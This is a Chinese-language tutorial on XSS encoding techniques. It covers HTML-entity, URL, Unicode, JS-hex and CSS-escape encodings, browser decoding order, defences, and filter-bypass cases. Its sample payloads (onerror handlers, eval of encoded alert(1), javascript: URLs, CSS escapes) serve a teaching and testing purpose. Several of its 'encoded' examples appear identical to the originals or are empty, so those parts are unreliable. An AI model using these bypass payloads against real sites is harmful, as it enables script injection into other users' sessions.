XSS编码浅析
字数 1059 2025-08-09 13:33:44
XSS编码技术深度解析
一、XSS编码基础概念
XSS(跨站脚本攻击)编码是绕过各种过滤机制的关键技术,主要涉及以下几种编码方式:
-
HTML实体编码:将字符转换为
&实体;形式- 例如:
<→<,>→>
- 例如:
-
HTML十进制编码:使用
&#十进制数;表示字符- 例如:
<→<,>→>
- 例如:
-
HTML十六进制编码:使用
&#x十六进制数;表示字符- 例如:
<→<,>→>
- 例如:
-
URL编码:使用
%十六进制数表示字符- 例如:
<→%3c,>→%3e
- 例如:
-
Unicode编码:使用
\u十六进制数表示字符- 例如:
<→\u003c,>→\u003e
- 例如:
-
JS编码:使用
\x十六进制数表示字符- 例如:
<→\x3c,>→\x3e
- 例如:
二、HTML上下文中的XSS编码
1. 标签属性值中的XSS
<!-- 基本形式 -->
<!-- 编码绕过 -->
关键点:
- 事件属性值中的代码可以混合使用各种编码
- 浏览器会先解码HTML实体再执行JavaScript
2. 标签名和属性名编码
<!-- 编码标签名 -->
<img src=x onerror=alert(1)>
<!-- 编码属性名 -->
三、JavaScript上下文中的XSS编码
1. 字符串上下文
<script>
var x = ''alert(1)'';
</script>
解码顺序:
- HTML解析器解码
'为单引号 - JavaScript引擎执行代码
2. 动态脚本构造
<script>
var code = 'alert\x281\x29';
eval(code);
</script>
3. 混合编码示例
<script>
var x = '\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029';
eval(x);
</script>
四、URL上下文中的XSS编码
javascript:%61%6c%65%72%74%28%31%29
关键点:
- URL解码发生在HTML解码之后
- 可以结合HTML实体编码使用
五、CSS上下文中的XSS编码
<style>
body { background: url("javascript:alert(1)"); }
</style>
<!-- 编码形式 -->
<style>
body { background: \6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\31\29; }
</style>
六、高级编码技巧
1. 多重编码
<!-- 双重HTML编码 -->
<!-- 解码为 al... 然后解码为 alert... -->
2. 编码部分关键字
<script>
window['al'+'ert'](1);
</script>
3. 非常规编码
<!-- 使用注释分割 -->
<!-- 使用换行符 -->
七、浏览器解析顺序
理解XSS编码的关键在于掌握浏览器解析顺序:
- HTML解码(实体、十进制、十六进制)
- URL解码
- JavaScript/CSS解码
- 执行代码
八、防御措施
-
输出编码:
- HTML上下文使用HTML实体编码
- JavaScript上下文使用
\x或\u编码 - URL上下文使用URL编码
-
内容安全策略(CSP):
- 限制脚本执行来源
- 禁止内联脚本
-
输入验证:
- 白名单过滤
- 规范化输入
九、实战案例
案例1:过滤尖括号的绕过
// 原始payload
<script>alert(1)</script>
// 编码payload
<script>alert(1)</script>
案例2:事件属性过滤绕过
<!-- 原始 -->
<!-- 编码属性名和值 -->
十、总结
XSS编码技术的核心在于理解:
- 不同上下文的解析规则
- 浏览器的解码顺序
- 编码方式的组合使用
- 特定场景下的特殊编码需求
掌握这些编码技术可以帮助安全研究人员更好地测试XSS漏洞,同时也帮助开发人员理解如何更有效地防御XSS攻击。